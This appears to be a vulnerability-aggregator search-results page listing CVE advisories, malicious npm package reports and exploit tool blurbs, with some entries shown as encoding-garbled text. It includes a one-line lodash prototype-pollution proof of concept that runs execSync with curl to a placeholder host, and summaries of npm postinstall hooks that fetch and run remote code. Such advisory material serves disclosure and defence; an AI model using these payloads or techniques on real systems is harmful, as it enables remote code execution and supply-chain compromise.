270213 matches found
CVE-2026-33826
ЁЯЪи CVE-2026-33826: ╪к┘Ж┘Б┘К╪░ ╪з┘Д╪к╪╣┘Д┘К┘Е╪з╪к ╪з┘Д╪и╪▒┘Е╪м┘К╪й ╪╣┘Ж ╪и┘П╪╣╪п RCE ┘Б┘К Windows Active Directory ЁЯУМ ┘Ж╪╕╪▒╪й ╪╣╪з┘Е╪й CVE-2026-33826 ┘З┘К ╪л╪║╪▒╪й ╪к┘Ж┘Б┘К╪░ ╪к╪╣┘Д┘К┘Е╪з╪к ╪и╪▒┘Е╪м┘К╪й ╪╣┘Ж ╪и┘П╪╣╪п RCE ╪н╪▒╪м╪й ╪к╪д╪л╪▒ ╪╣┘Д┘Й ╪о╪п┘Е╪з╪к ┘Е╪м╪з┘Д Active Directory AD DS. ┘К┘Г┘Е┘Ж ╪з┘Д╪о┘Д┘Д ┘Б┘К ╪з┘Д╪╖╪▒┘К┘В╪й ╪з┘Д╪к┘К ╪к╪к╪╣╪з┘Е┘Д ╪и┘З╪з ╪о╪п┘Е╪й AD ┘Е╪╣ ╪╖┘Д╪и╪з╪к ╪з┘Д┘Е╪╡╪з╪п┘В╪й ╪║┘К╪▒ ╪з┘Д╪╡╪з┘Д╪н╪й ╪╣╪и╪▒ ╪и╪▒┘И╪к┘И┘Г┘И┘Д Kerberos...
CVE-2026-4800-POC
CVE-2026-4800-POC Security Advisory https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC root@kitploit: const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; Flow Using a...
CVE-2026-0300
PAN-OS CVE-2026-0300 Non-Destructive Exposure Survey Tool Overview This tool is a non-destructive exposure survey utility for assessing whether a target PAN-OS service may expose network-accessible surfaces related to CVE-2026-0300. The tool is intended for authorized defensive security validatio...
CVE-2026-66786
A flaw was found in submariner. In cert-auth mode, the connection configuration is built using free-form strings from the Custom Resource Definition CRD without proper validation. A malicious cluster can exploit this by publishing a CableName that includes newlines and ipsec.conf directives. This...
CVE-2026-49832
DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, versions 9.0-rc1 to before 9.3, and version 10-rc1, Remote Code Execution RCE is possible via Velocity Templates used by DSpace for COAR Notify/LDN...
electroniz3r
electroniz3r Take over macOS Electron apps' TCC permissions with electroniz3r. The tool has been presented for the first time on DEFCON31 in Las Vegas during my ELECTRONizing macOS privacy - a new weapon in your red teaming armory talk. Overview root@kitploit: $ electroniz3r OVERVIEW: macOS Red...
CVE-2026-23479
CVE-2026-23479 тАФ Redis Use-After-Free RCE PoC Collection HackSpeak distribution mirror. This repository consolidates three public PoC/detection tools , with code identical to each upstream. тЪая╕П Contains actual exploit code and detection tools ; for security research, vulnerability verification, and...
gimp:2.8 security update
An update is available for module.gimp, pygtk2, module.pygobject2, module.python2-pycairo, gimp, pygobject2, module.pygtk2, python2-pycairo. This update affects Rocky Linux 8. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...
EUVD-2026-70247
A flaw was found in submariner. In cert-auth mode, the connection configuration is built using free-form strings from the Custom Resource Definition CRD without proper validation. A malicious cluster can exploit this by publishing a CableName that includes newlines and ipsec.conf directives. This...
CVE-2026-66786
Submariner 's certificate-based IPsec authentication mode (IPSecCertAuthMode: true) is vulnerable to ipsec.conf stanza injection via remote-supplied CableName and subnets fields in the Custom Resource Definition. Because these free-form strings are incorporated into the connection configuration w...
CVE-2026-66786 Submariner: submariner: ipsec.conf stanza injection via remote-supplied cablename and subnets
A flaw was found in submariner. In cert-auth mode, the connection configuration is built using free-form strings from the Custom Resource Definition CRD without proper validation. A malicious cluster can exploit this by publishing a CableName that includes newlines and ipsec.conf directives. This...
cpanel-malware-cleaner-cve-2026
cPanel malware, CVE-2026-41940, virus removal ЁЯЪи cPanel Malware Cleaner тАУ CVE-2026-41940 Fix Tool A lightweight and powerful security tool to detect, remove, and prevent malware infections caused by recent cPanel vulnerabilities including CVE-2026-41940. ЁЯФе Features Detects and removes malware,...
cve-2025-55182
ЁЯЫбя╕П React2Shell CTF ЁЯЪА React2Shell-CTF рдореЗрдВ рдЖрдкрдХрд╛ рд╕реНрд╡рд╛рдЧрдд рд╣реИ, рдпрд╣ рдПрдХ Dockerized рд╡рд╛рддрд╛рд╡рд░рдг рд╣реИ рдЬрд┐рд╕реЗ React2Shell CVE-2025-55182 рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред React2Shell рдПрдХ рдЧрдВрднреАрд░ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ React-рдЖрдзрд╛рд░рд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рд░рд┐рдкреЙрдЬрд╝рд┐рдЯрд░реА рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд, рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ...
MAL-2026-15824 Malicious code in @stellarshift/token-units (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211 Package advertises BigInt token-unit conversion helpers parseUnits/formatUnits but declares a postinstall hook scripts/postinstall.js that invokes...
Malicious code in @stellarshift/evm-address-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ad9957f1e31e5afe261cb73c0c5b76ff23a86b23ebae0704e7e2934be79979 The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in...
MAL-2026-15823 Malicious code in @stellarshift/evm-address-kit (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ad9957f1e31e5afe261cb73c0c5b76ff23a86b23ebae0704e7e2934be79979 The package declares a postinstall script that invokes syncRemoteManifest in lib/runtime/manifest-sync.js. The destination URL is not present in...
Malicious code in @stellarshift/abi-tools (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bebef764845634817dcc9905a146c3ba898707dcc9937ebfe0060a4f10852d27 On npm install, the package's postinstall hook resolves a URL that is stored as an XOR-encoded integer array in endpoint-registry.json self-labeled...
Malicious code in @stellarshift/token-units (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a4433d82919da9c0972986247dd611eae3997b28fd54726ffbf9c48147c05211 Package advertises BigInt token-unit conversion helpers parseUnits/formatUnits but declares a postinstall hook scripts/postinstall.js that invokes...
MAL-2026-15822 Malicious code in @stellarshift/chain-metadata (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6 The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json...
CVE-2024-47176
CVE-2024-47176 тАФ CUPS RCE Exploit Lab CyberSecurity & Virtualisation 2025-2026 Isolated lab environment to demonstrate CVE-2024-47176 CUPS Remote Code Execution via cups-browsed. Setup Required VDIs Ubuntu 22.04 NOT 24.04! тАФ https://www.osboxes.org/ubuntu/ тЖТ VirtualBox VDI Kali Linux 2026.1 тАФ...